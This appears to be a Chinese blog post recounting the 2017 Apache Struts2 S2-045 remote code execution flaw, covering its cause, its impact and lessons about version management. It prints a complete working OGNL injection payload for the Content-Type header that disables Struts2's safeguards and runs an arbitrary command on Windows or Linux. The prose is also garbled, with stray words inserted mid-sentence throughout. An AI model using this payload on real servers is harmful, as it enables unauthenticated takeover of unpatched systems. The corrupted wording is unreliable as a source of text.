|
2017年3月7日,远程Apache Struts2官方发布了一个安全公告,代码编号S2-045。执行这个漏洞的漏洞CVSS评分高达10.0,属于最高危级别。远程攻击者只需要向目标服务器发送一个精心构造的代码HTTP请求头,就能在服务器上执行任意命令。执行 这个漏洞出在Jakarta Multipart解析器上。漏洞Struts2在处理文件上传时,远程会解析Content-Type头。代码如果解析出错,执行错误信息会被拼接到HTML响应中。漏洞问题在于,远程这个拼接过程使用了OGNL表达式。代码OGNL是执行Struts2的表达式语言,功能强大到可以调用Java对象的方法。攻击者把恶意OGNL表达式塞进Content-Type头,服务器在报错时就会执行它。 举个例子。攻击者发送这样的请求:Content-Type: %{ (#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{ 'cmd.exe','/c',#cmd}:{ '/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 服务器就会执行id命令,并把结果回显在响应里。就这么简单。不需要认证,不需要上传文件,一个HTTP请求就搞定。 当时影响范围极广。Struts2是Java Web领域最主流的MVC框架之一,大量政府网站、电商平台、金融系统都在用。我印象很深,漏洞公布后几天内,网上就出现了批量扫描工具。有人用Shodan搜索暴露的Struts2应用,然后批量打。很多小公司甚至不知道自己用了Struts2,直到服务器被植入挖矿程序或者变成肉鸡才发现。 这个漏洞的根源在于Struts2的错误处理机制设计缺陷。开发者在处理异常时,把用户可控的输入直接拼接到错误消息里,再经过OGNL解析。这属于典型的"危险输入进入危险函数"。修复方案是官方在后续版本中增加了防护,过滤了OGNL表达式中的危险字符,并且对错误消息做了转义处理。 但更值得思考的是,S2-045并不是Struts2第一次出这种问题。之前S2-032、S2-037都涉及OGNL注入。这说明框架层面的设计缺陷很难彻底修复。每次都是堵一个洞,然后发现新的绕过方式。直到今天,Struts2的老版本仍然在互联网上大量存在,时不时就有安全研究员放出新的利用链。 这件事给我们的教训是:框架越流行,出漏洞时影响越大。对于企业来说,资产梳理和版本管理比什么都重要。你永远不知道哪个角落还跑着一个三年前的老系统,上面挂着Struts2 2.3.20,等着某个扫描器来敲门。 |